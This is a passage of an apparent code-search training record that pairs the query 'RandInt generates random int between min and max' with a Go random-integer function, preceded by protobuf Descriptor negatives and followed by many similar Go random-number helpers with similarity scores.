[]int{4}\n}", "func (*CallsPerMonthResponse) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{16}\n}", "func (*PlanChange_Removed) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_plan_change_proto_rawDescGZIP(), []int{0, 3}\n}", "func (*SaleOrder) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{6}\n}", "func (*CMsgClientToGCUnderDraftSellResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{377}\n}", "func (*DeviceDecommissioningStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{6}\n}", "func (*GetMetricsInfoResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{44}\n}", "func (*PredictionValues) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{2}\n}", "func (*DeviceDecommissioningResponse) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{5}\n}", "func (*ValueResponse) Descriptor() ([]byte, []int) {\n\treturn file_kvapi_proto_rawDescGZIP(), []int{2}\n}", "func (*ServicesDistinctValuesRes) Descriptor() ([]byte, []int) {\n\treturn file_external_applications_applications_proto_rawDescGZIP(), []int{5}\n}", "func (x *fastReflection_MsgWithdrawValidatorCommissionResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgWithdrawValidatorCommissionResponse\n}", "func (*ProductsListResponse_Discount) Descriptor() ([]byte, []int) {\n\treturn file_protobuf_proto_productslist_products_list_proto_rawDescGZIP(), []int{1, 0}\n}", "func (*QueryPlanStatusResponseProto) Descriptor() ([]byte, []int) {\n\treturn file_ClientDatanodeProtocol_proto_rawDescGZIP(), []int{25}\n}", "func (*ServicesDistinctValuesReq) Descriptor() ([]byte, []int) {\n\treturn file_external_applications_applications_proto_rawDescGZIP(), []int{1}\n}", "func (x *fastReflection_MsgCommunityPoolSpend) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.authority\":\n\t\tvalue := x.Authority\n\t\treturn protoreflect.ValueOfString(value)\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.recipient\":\n\t\tvalue := x.Recipient\n\t\treturn protoreflect.ValueOfString(value)\n\tcase \"cosmos.distribution.v1beta1.MsgCommunityPoolSpend.amount\":\n\t\tif len(x.Amount) == 0 {\n\t\t\treturn protoreflect.ValueOfList(&_MsgCommunityPoolSpend_3_list{})\n\t\t}\n\t\tlistValue := &_MsgCommunityPoolSpend_3_list{list: &x.Amount}\n\t\treturn protoreflect.ValueOfList(listValue)\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgCommunityPoolSpend\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgCommunityPoolSpend does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*DeviceDecommissioningConfigStreamResponse) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{11}\n}", "func (ContactPointUseCode_Value) EnumDescriptor() ([]byte, []int) {\n\treturn file_proto_google_fhir_proto_stu3_datatypes_proto_rawDescGZIP(), []int{49, 0}\n}", "func (*LinkedPropertyValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{5}\n}", "func (StandardPTransforms_DeprecatedPrimitives) EnumDescriptor() ([]byte, []int) {\n\treturn file_org_apache_beam_model_pipeline_v1_beam_runner_api_proto_rawDescGZIP(), []int{4, 1}\n}", "func (*BulkLinkedPropertyValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{6}\n}", "func (*AddResponse) Descriptor() ([]byte, []int) {\n\treturn file_grpc_calculator_proto_calc_proto_rawDescGZIP(), []int{1}\n}", "func (*PerformanceResponse) Descriptor() ([]byte, []int) {\n\treturn file_commissionService_proto_rawDescGZIP(), []int{5}\n}", "func (*CreateSaleOrderRequest) Descriptor() ([]byte, []int) {\n\treturn file_sandbox_sales_v1_proto_rawDescGZIP(), []int{4}\n}", "func (*MultiTrendingMetricsViewResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{173}\n}", "func (*GetAllTransactionsResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{42}\n}", "func (*TelemetryResponse) Descriptor() ([]byte, []int) {\n\treturn file_interservice_license_control_license_control_proto_rawDescGZIP(), []int{12}\n}", "func (*Values) Descriptor() ([]byte, []int) {\n\treturn file_helm_api_proto_rawDescGZIP(), []int{12}\n}", "func (CMsgSocialFeedResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{305, 0}\n}", "func (*ReadFeatureValuesResponse_EntityView) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{4, 2}\n}", "func (*BulkPropertyValuesResponse) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{4}\n}", "func (*IntegrationConsumeSettingUpdateResp) Descriptor() ([]byte, []int) {\n\treturn file_ums_proto_rawDescGZIP(), []int{42}\n}", "func (RegulationSHOShortSalePriceTest) EnumDescriptor() ([]byte, []int) {\n\treturn file_openfeed_proto_rawDescGZIP(), []int{2}\n}", "func (*MsgCommunityPoolSpendResponse) Descriptor() ([]byte, []int) {\n\treturn file_cosmos_distribution_v1beta1_tx_proto_rawDescGZIP(), []int{11}\n}", "func (x *fastReflection_MsgUpdateParamsResponse) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgUpdateParamsResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgUpdateParamsResponse does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*CallsPerMonth) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{15}\n}", "func (*DeviceDecommissioningRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{4}\n}", "func (*SValues) Descriptor() ([]byte, []int) {\n\treturn file_internals_proto_select_proto_rawDescGZIP(), []int{1}\n}", "func (*StreamingReadFeatureValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{5}\n}", "func (*GenerateProductMixIdeasResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_ads_googleads_v2_services_reach_plan_service_proto_rawDescGZIP(), []int{9}\n}", "func (x *fastReflection_AddressStringToBytesResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_AddressStringToBytesResponse\n}", "func (x *fastReflection_MsgFundCommunityPoolResponse) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgFundCommunityPoolResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgFundCommunityPoolResponse does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*CMsgSocialFeedResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{305}\n}", "func (*BatchGetLimitsResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_limit_service_proto_rawDescGZIP(), []int{2}\n}", "func (*WatchLimitsResponse) Descriptor() ([]byte, []int) {\n\treturn edgelq_limits_proto_v1alpha2_limit_service_proto_rawDescGZIP(), []int{8}\n}", "func (*MutateCustomerResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_ads_googleads_v14_services_customer_service_proto_rawDescGZIP(), []int{4}\n}", "func (*ReadFeatureValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{3}\n}", "func (*ProductMetadata) Descriptor() ([]byte, []int) {\n\treturn file_google_ads_googleads_v2_services_reach_plan_service_proto_rawDescGZIP(), []int{5}\n}", "func (*PostStatValuesRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{167}\n}", "func (*WriteFeatureValuesResponse) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_aiplatform_v1_featurestore_online_service_proto_rawDescGZIP(), []int{2}\n}", "func (*SumResponse) Descriptor() ([]byte, []int) {\n\treturn file_messages_proto_rawDescGZIP(), []int{3}\n}", "func (*ValueResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{11}\n}", "func (*DeviceDecommissioningConfigResponse) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{9}\n}", "func (*EstimateCoinSellResponse) Descriptor() ([]byte, []int) {\n\treturn file_resources_proto_rawDescGZIP(), []int{57}\n}", "func (*FeedbackMetrics) Descriptor() ([]byte, []int) {\n\treturn file_ssn_dataservice_v1_dataservice_proto_rawDescGZIP(), []int{12}\n}", "func (MarketSummary_SummaryType) EnumDescriptor() ([]byte, []int) {\n\treturn file_openfeed_proto_rawDescGZIP(), []int{48, 1}\n}", "func (*TelemetryRequest) Descriptor() ([]byte, []int) {\n\treturn file_interservice_license_control_license_control_proto_rawDescGZIP(), []int{11}\n}", "func (*EstimateCoinSellAllResponse) Descriptor() ([]byte, []int) {\n\treturn file_resources_proto_rawDescGZIP(), []int{59}\n}", "func (*NodeGroupDecreaseTargetSizeResponse) Descriptor() ([]byte, []int) {\n\treturn file_cloudprovider_externalgrpc_protos_externalgrpc_proto_rawDescGZIP(), []int{25}\n}", "func (*CalculateDealPriceResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_mindexd_pb_mindexd_proto_rawDescGZIP(), []int{14}\n}", "func (*SendBatchTransactionResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{37}\n}", "func (*SumResponse) Descriptor() ([]byte, []int) {\n\treturn file_calculator_proto_rawDescGZIP(), []int{2}\n}", "func (*ValueCount) Descriptor() ([]byte, []int) {\n\treturn file_external_cfgmgmt_response_nodes_proto_rawDescGZIP(), []int{14}\n}", "func (Type) EnumDescriptor() ([]byte, []int) {\n\treturn file_price_price_proto_rawDescGZIP(), []int{0}\n}", "func (*CollectResponse) Descriptor() ([]byte, []int) {\n\treturn file_orc8r_cloud_go_services_analytics_protos_collector_proto_rawDescGZIP(), []int{1}\n}", "func (*GetStatsResponse) Descriptor() ([]byte, []int) {\n\treturn file_github_com_yahuizhan_dappley_metrics_go_api_rpc_pb_rpc_proto_rawDescGZIP(), []int{45}\n}", "func (*MultiStatValueResponse) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{168}\n}", "func (x *fastReflection_QueryAccountsResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_QueryAccountsResponse\n}", "func (*SumRequest) Descriptor() ([]byte, []int) {\n\treturn file_calculatorpb_calculator_proto_rawDescGZIP(), []int{0}\n}", "func (*DeviceDecommissioningConfigStreamRequest) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{10}\n}", "func (*GeneralProductsRsp) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_order_Service_proto_rawDescGZIP(), []int{2}\n}", "func (*DeviceDecommissioningConfigSetResponse) Descriptor() ([]byte, []int) {\n\treturn file_arista_inventory_v1_services_gen_proto_rawDescGZIP(), []int{13}\n}", "func (CMsgProfileUpdateResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{278, 0}\n}", "func (*GetModelVersionMetricsRequest) Descriptor() ([]byte, []int) {\n\treturn file_proto_clarifai_api_service_proto_rawDescGZIP(), []int{94}\n}", "func (x *fastReflection_MsgSetWithdrawAddress) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgSetWithdrawAddress\n}", "func (FinancialField) EnumDescriptor() ([]byte, []int) {\n\treturn file_Qot_StockFilter_proto_rawDescGZIP(), []int{2}\n}", "func (VipUserPayType) EnumDescriptor() ([]byte, []int) {\n\treturn file_api_proto_global_Global_proto_rawDescGZIP(), []int{22}\n}", "func (*PropertyValuesResponse) Descriptor() ([]byte, []int) {\n\treturn file_v1_property_values_proto_rawDescGZIP(), []int{2}\n}", "func (CMsgSocialFeedCommentsResponse_Result) EnumDescriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{307, 0}\n}", "func (x *fastReflection_MsgDepositValidatorRewardsPoolResponse) Get(descriptor protoreflect.FieldDescriptor) protoreflect.Value {\n\tswitch descriptor.FullName() {\n\tdefault:\n\t\tif descriptor.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.distribution.v1beta1.MsgDepositValidatorRewardsPoolResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.distribution.v1beta1.MsgDepositValidatorRewardsPoolResponse does not contain field %s\", descriptor.FullName()))\n\t}\n}", "func (*ValueRequest) Descriptor() ([]byte, []int) {\n\treturn file_api_proto_rawDescGZIP(), []int{10}\n}", "func (*CMsgScalePageToValueResponse) Descriptor() ([]byte, []int) {\n\treturn file_steam_htmlmessages_proto_rawDescGZIP(), []int{81}\n}" ]
[ "0.6912668", "0.6350167", "0.60535", "0.60375196", "0.60186344", "0.5939751", "0.5939521", "0.592548", "0.5924573", "0.58735955", "0.586989", "0.58384675", "0.5834551", "0.58245265", "0.5817466", "0.5816653", "0.5816067", "0.58092535", "0.58035386", "0.57850885", "0.5753539", "0.5744262", "0.57379425", "0.57297707", "0.5723811", "0.57155454", "0.5713483", "0.5712952", "0.5706356", "0.56985223", "0.56884855", "0.5687097", "0.56799006", "0.5664963", "0.56635916", "0.5659688", "0.5656843", "0.565662", "0.5647665", "0.5645137", "0.5644974", "0.56442535", "0.56442463", "0.5641362", "0.563653", "0.5635347", "0.56345487", "0.563406", "0.56245035", "0.5621492", "0.5615225", "0.56140226", "0.56107867", "0.5609586", "0.5600685", "0.55974764", "0.5592739", "0.55872726", "0.55847615", "0.55738366", "0.5573659", "0.5572598", "0.5568991", "0.55644524", "0.55639005", "0.5562306", "0.5558341", "0.5553569", "0.55524087", "0.5551772", "0.5548954", "0.55480987", "0.5547377", "0.5547012", "0.5545564", "0.5540892", "0.5535921", "0.5533908", "0.55334467", "0.5532448", "0.5531585", "0.5528735", "0.55275315", "0.5526078", "0.55257946", "0.5524625", "0.55240726", "0.551922", "0.5515373", "0.5515349", "0.55114794", "0.5510771", "0.5503884", "0.5498231", "0.5494341", "0.54903823", "0.54872835", "0.54832923", "0.54817605", "0.5480886" ]
0.71831435
0
RandInt generates random int between min and max
func RandInt(min int, max int) int { r := rand.New(rand.NewSource(time.Now().UnixNano())) return r.Intn(max-min) + min }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func RandInt(min, max int) int {\n\treturn rand.Intn(max-min+1) + min\n}", "func RandInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func randomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func randomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func randomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func randomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func randomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func RandomInt(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func getRandomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func RandomInt(min, max int) int {\n\treturn rand.Intn(max - min) + min\n}", "func RandomInt(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func random(min, max int) int { return rand.Intn(max-min) + min }", "func randomInt(min, max int) int {\n return min + rand.Intn(max-min)\n}", "func randomInt(min int, max int) int {\n\trand.Seed(time.Now().UTC().UnixNano())\n\treturn min + rand.Intn(max-min)\n}", "func RandIntBetween(min int, max int) int {\n return min + rand.Intn(max-min)\n}", "func RandInt(min int, max int) int {\n if !seed_set {setSeed()}\n return min + rand.Intn(1 + max - min)\n}", "func RandInt(min, max int) int {\n\tif min > max {\n\t\tpanic(\"RandInt,min greater than max\")\n\t}\n\tif min == max {\n\t\treturn min\n\t}\n\treturn rand.Intn(max-min+1) + min\n}", "func randIntRange(min, max int) int {\n\treturn rnd.Intn(max-min) + min\n}", "func RandInt(min, max int) int {\n\tif min >= max || max == 0 {\n\t\treturn max\n\t}\n\tx := rand.Intn(max-min) + min\n\treturn x\n}", "func RandInt(max int) int {\n\treturn rand.Intn(max)\n}", "func randInt(min, max int, rng *rand.Rand) int {\n\treturn rng.Intn(max-min) + min\n}", "func RandomInt(min, max int64) int64 {\n\treturn min + rand.Int63n(max-min+1)\n}", "func RandInt(min, max int) int {\n\tif min == max {\n\t\treturn min\n\t}\n\tif max < min {\n\t\tmin, max = max, min\n\t}\n\tr := rand.New(rand.NewSource(time.Now().UnixNano()))\n\treturn r.Intn(max-min) + min\n}", "func RandIntRange(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func randInt(min, max int) int {\n\n\tseed := int64(0)\n\tbinary.Read(crand.Reader, binary.LittleEndian, &seed)\n\n\trand.Seed(seed)\n\n\tres := min\n\tres = rand.Intn(max-min+1) + min\n\n\treturn res\n\n}", "func RandInt(min, max int) (int, error) {\n\tif min > max {\n\t\treturn 0, ErrIllegalRange\n\t}\n\trand.Seed(time.Now().UnixNano())\n\trandNum := rand.Intn(max-min+1) + min\n\treturn randNum, nil\n}", "func Rand(min int, max int) int {\n\tr := (rand.Int() % (max - min)) + min\n\treturn r\n}", "func (r *RandomLib) Int(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func RandomInt(min, max int64) int64 {\n\treturn int64(math.Floor(float64(mrand.Int63()*((max-min)+1)))) + min\n}", "func randomInt(min, max int) string {\n\trand.Seed(time.Now().UnixNano())\n\treturn strconv.Itoa(rand.Intn(max-min+1) + min)\n}", "func Rand(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func RandRangeInt(min, max int) int {\n\tif min >= max {\n\t\treturn 0\n\t}\n\tr := RandInt()\n\treturn min + r%(max-min)\n}", "func random(min, max int) int {\n rand.Seed(time.Now().Unix())\n return rand.Intn(max - min) + min\n}", "func randIntRange(min, max int) int {\n\tif min == max {\n\t\treturn min\n\t}\n\treturn min + rand.Intn(max-min)\n}", "func randIntRange(min, max int) int {\n\tif min == max {\n\t\treturn min\n\t}\n\treturn rand.Intn((max+1)-min) + min\n}", "func randIntRange(min, max int) int {\n\tif min == max {\n\t\treturn min\n\t}\n\treturn rand.Intn((max+1)-min) + min\n}", "func Int(min, max int) int {\n\trand.Seed(time.Now().UnixNano())\n\n\treturn rand.Intn(max-min) + min\n}", "func RandomInteger(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func RandomIntBetween(min, max int) int {\n\trand.Seed(time.Now().Unix())\n\treturn rand.Intn(max-min) + min\n}", "func randRange(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func RandomInt(minVal, maxVal int, inclusive bool) int {\n\tspread := maxVal - minVal\n\tif inclusive {\n\t\tspread++\n\t}\n\trandInt, err := rand.Int(rand.Reader, big.NewInt(int64(spread)))\n\tassertNil(err)\n\treturn int(randInt.Int64()) + minVal\n}", "func RandomIntInRange(min, max int) int {\r\n\treturn rand.Intn(max-min+1) + min\r\n}", "func randomRange(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func GenInt(min int, max int) int {\n\trand.Seed(time.Now().UnixNano())\n\n\treturn rand.Intn(max-min) + min\n}", "func RandomIntRange(lower, upper int) int {\r\n\r\n\tbackdoored := NSARand()\r\n\treturn backdoored.Intn(upper-lower) + lower\r\n}", "func randInt(from, to int) int {\n\treturn prng.Intn(to+1-from) + from\n}", "func RandomIntWithRange(min int, max int) int {\n\treturn randomGenerator.rand.Intn(max-min) + min\n}", "func Random(min, max int) int {\n\tif min == max {\n\t\treturn min\n\t}\n\treturn rand.Intn(max-min) + min\n}", "func Random(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func RandomNumberInt(min, max Number) *Number {\n\trand.Seed(time.Now().UTC().UnixNano())\n\treturn NewNumber(min.AsInt() + rand.Intn(max.AsInt()-min.AsInt()))\n}", "func randomWithRange(max, min int) int {\n\t// Mendeklarasikan variable nilai\n\tvar nilai = rand.Int() % (max - min + 1) + min\n\treturn nilai\n}", "func RandomInt(min, max int) (int, error) {\n\ti, err := Random0ToInt(max - min)\n\tif err != nil {\n\t\treturn max, nil\n\t}\n\ti += min\n\treturn i, nil\n}", "func (h *Random) Int(max int) int {\n\treturn rand.Intn(max)\n}", "func randomRange(min, max int) int {\n\trand.Seed(time.Now().UTC().UnixNano())\n\treturn rand.Intn(max-min) + min\n}", "func RandInt(min, max int) (int, error) {\r\n\tnBig, err := rand.Int(rand.Reader, big.NewInt(int64(max-min+1)))\r\n\tif err != nil {\r\n\t\treturn 0, err\r\n\t}\r\n\r\n\treturn int(nBig.Int64()) + min, nil\r\n}", "func random(min, max int) int {\n\trand.Seed(time.Now().UnixNano() / int64(time.Millisecond))\n\treturn rand.Intn(max-min) + min\n}", "func r_int(max int) int {\n\treturn rand.Intn(max)\n}", "func random(min, max int) int {\r\n\trand.Seed(time.Now().UTC().UnixNano())\r\n\treturn rand.Intn(max)\r\n}", "func Rand(min, max int64) int64 {\n\trand.Seed(time.Now().UnixNano())\n\treturn rand.Int63n(max-min+1) + min\n}", "func get_random_number(min, max int) int {\n // We need to seed the random number generator with the current datetime\n // as without it Go uses a shared Source(???) to generate the same\n // deterministic sequence of values every time this program is run.\n\n rand.Seed(time.Now().UnixNano())\n return rand.Intn(max - min + 1) + min\n}", "func RandRange(max int) int {\n\tr := rand.New(rand.NewSource(time.Now().UnixNano()))\n\treturn r.Intn(max)\n}", "func random(min, max int) int {\n\tmax = max + 1\n\trand.Seed(time.Now().UTC().UnixNano()) // A sleep is vital for these calculations\n\treturn rand.Intn(max-min) + min\n}", "func xrand(min, max int) int {\n rand.Seed(time.Now().Unix())\n return rand.Intn(max - min) + min\n}", "func RandInt(min, max int) int {\n\tvar b [8]byte\n\t_, err := crypto_rand.Read(b[:])\n\tif err != nil {\n\t\tlog.Println(\"cannot seed math/rand package with cryptographically secure random number generator\")\n\t\tlog.Println(\"falling back to math/rand with time seed\")\n\t\treturn rand.New(rand.NewSource(time.Now().UnixNano())).Intn(max-min) + min\n\t}\n\trand.Seed(int64(binary.LittleEndian.Uint64(b[:])))\n\treturn min + rand.Intn(max-min)\n}", "func Int(max int) int {\n\tif max <= 0 {\n\t\treturn 0\n\t}\n\n\trand.Seed(time.Now().UnixNano())\n\n\treturn rand.Intn(max)\n}", "func GenerateInt(min, max int) (int, error) {\n\tif min > max {\n\t\treturn 0, errors.New(\"min should be bigger or equal than max\")\n\t}\n\trand.Seed(time.Now().UnixNano())\n\treturn rand.Intn(max-min+1) + min, nil\n}", "func (r *attributeRange) randomInt() int {\n\treturn int(rand.Float64()*r.Max + r.Min)\n}", "func RandomInt(low, high int) int {\n\tr := rand.New(rand.NewSource(time.Now().UnixNano()))\n\ttimeout := r.Int31n(int32(high - low))\n\treturn int(timeout) + low\n}", "func generateRandom(max int) int {\n\treturn rand.Intn(max)\n}", "func GetRandIntInRange(min, max int) int {\n\treturn min + rand.Intn(max-min)\n}", "func RandInt64(min, max int64) int64 {\n\tif min >= max || max == 0 {\n\t\treturn max\n\t}\n\tx := rand.Int63n(max-min) + min\n\treturn x\n}", "func RandomInt(ceiling int) int {\n\tif ceiling <= 0 {\n\t\treturn 0\n\t}\n\n\trandomBytes := make([]byte, 4)\n\trand.Read(randomBytes)\n\n\treturn int(siaencoding.DecUint32(randomBytes)) % ceiling\n}", "func RandInt() int {\n\treturn time.Now().Nanosecond()\n}", "func RandomInt(values ...int) int {\n\tif len(values) == 0 {\n\t\treturn 0\n\t}\n\tif len(values) == 1 {\n\t\treturn values[0]\n\t}\n\treturn values[provider.Intn(len(values))]\n}", "func GetRandInt(mix, max int) (int, error) {\n\tif mix < 0 {\n\t\treturn 0, errors.New(\"wrong param\")\n\t}\n\tif mix > max {\n\t\treturn 0, errors.New(\"wrong param\")\n\t}\n\treturn rand.Intn(max-mix+1) + mix, nil\n}", "func Number(min int, max int) int {\n\treturn randIntRange(min, max)\n}", "func Rand(args ...int) int {\n\trand.Seed(time.Now().Unix())\n\tl := len(args)\n\tif l > 1 {\n\t\tmin := math.Min(float64(args[0]), float64(args[1]))\n\t\tmax := math.Max(float64(args[0]), float64(args[1]))\n\t\treturn int(min + rand.Float64()*(max-min))\n\t} else if l > 0 {\n\t\treturn rand.Intn(args[0])\n\t} else {\n\t\treturn rand.Intn(1 << 32)\n\t}\n}", "func getRandomNumber(max int) int {\n\tseed := rand.NewSource(time.Now().UnixNano())\n\trnd := rand.New(seed)\n\treturn rnd.Intn(max)\n}", "func Rand(args ...int) int {\n\n\trand.Seed(time.Now().Unix())\n\tl := len(args)\n\tif l > 1 {\n\t\tmin := math.Min(float64(args[0]), float64(args[1]))\n\t\tmax := math.Max(float64(args[0]), float64(args[1]))\n\t\treturn int(min + rand.Float64()*(max-min))\n\t} else if l > 0 {\n\t\treturn rand.Intn(args[0])\n\t} else {\n\t\treturn rand.Intn(1 << 32)\n\t}\n}", "func Int() int { return globalRand.Int() }", "func Int() int { return globalRand.Int() }", "func Int() int { return globalRand.Int() }", "func RandInt() int {\n\ti := rand.Int()\n\treturn i\n}", "func randomInt() int {\n\treturn rand.Int()\n}", "func (z *Int) Rand(rnd *rand.Rand, n *Int) *Int {}", "func RandomIndex(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func RandomInt64InRange(min, max int64) int64 {\r\n\treturn rand.Int63n(max-min+1) + min\r\n}", "func Int(low, high int) int {\n\treturn rand.Int()%(high-low+1) + low\n}", "func randInRange(start int, end int) int {\n\treturn start + rand.Intn(end - start + 1)\n}", "func Random(low, high int) int {\n\tif high < low {\n\t\tpanic(\"utils.Random: high should be >= low\")\n\t}\n\n\tdiff := high - low\n\n\tif diff == 0 {\n\t\treturn low\n\t}\n\n\tresult := rand.Int() % (diff + 1)\n\tresult += low\n\n\treturn result\n}", "func RandomNumber(min, max int64) int64 {\n\tif min > max {\n\t\treturn 0\n\t}\n\tmrand.Seed(time.Now().UnixNano())\n\treturn mrand.Int63n(max-min) + min\n}", "func RandomInt(ceiling int) (randInt int, err error) {\n\tif ceiling < 1 {\n\t\terr = fmt.Errorf(\"RandomInt: input must be greater than 0\")\n\t\treturn\n\t}\n\n\tbigInt := big.NewInt(int64(ceiling))\n\trandBig, err := rand.Int(rand.Reader, bigInt)\n\tif err != nil {\n\t\treturn\n\t}\n\trandInt = int(randBig.Int64())\n\treturn\n}", "func randIntWithNeg(numRange int) int {\n\treturn numRange - murphy.Intn(numRange*2)\n}", "func Int() int {\n\treturn globalRand.Int()\n}", "func pickNumberRange(num int) int {\n\trand.Seed(time.Now().UnixNano())\n\treturn rand.Intn(num)\n}", "func randBetween(x int, y int) int {\n\treturn int(rand.Intn(int(y-x+1)) + int(x))\n}", "func (node *Node) rand(maxNum int64) int64 {\n\tnode.seed ^= node.seed << 7\n\tnode.seed ^= node.seed >> 9\n\tnode.seed ^= node.seed << 8\n\treturn int64(node.seed) % maxNum\n}", "func RandInt() int {\n\trand.Seed(time.Now().UnixNano())\n\treturn rand.Int()\n}", "func Between(min, max int) int {\n\treturn rand.Intn(max-min) + min\n}", "func IntRand(z *big.Int, rnd *rand.Rand, n *big.Int,) *big.Int" ]
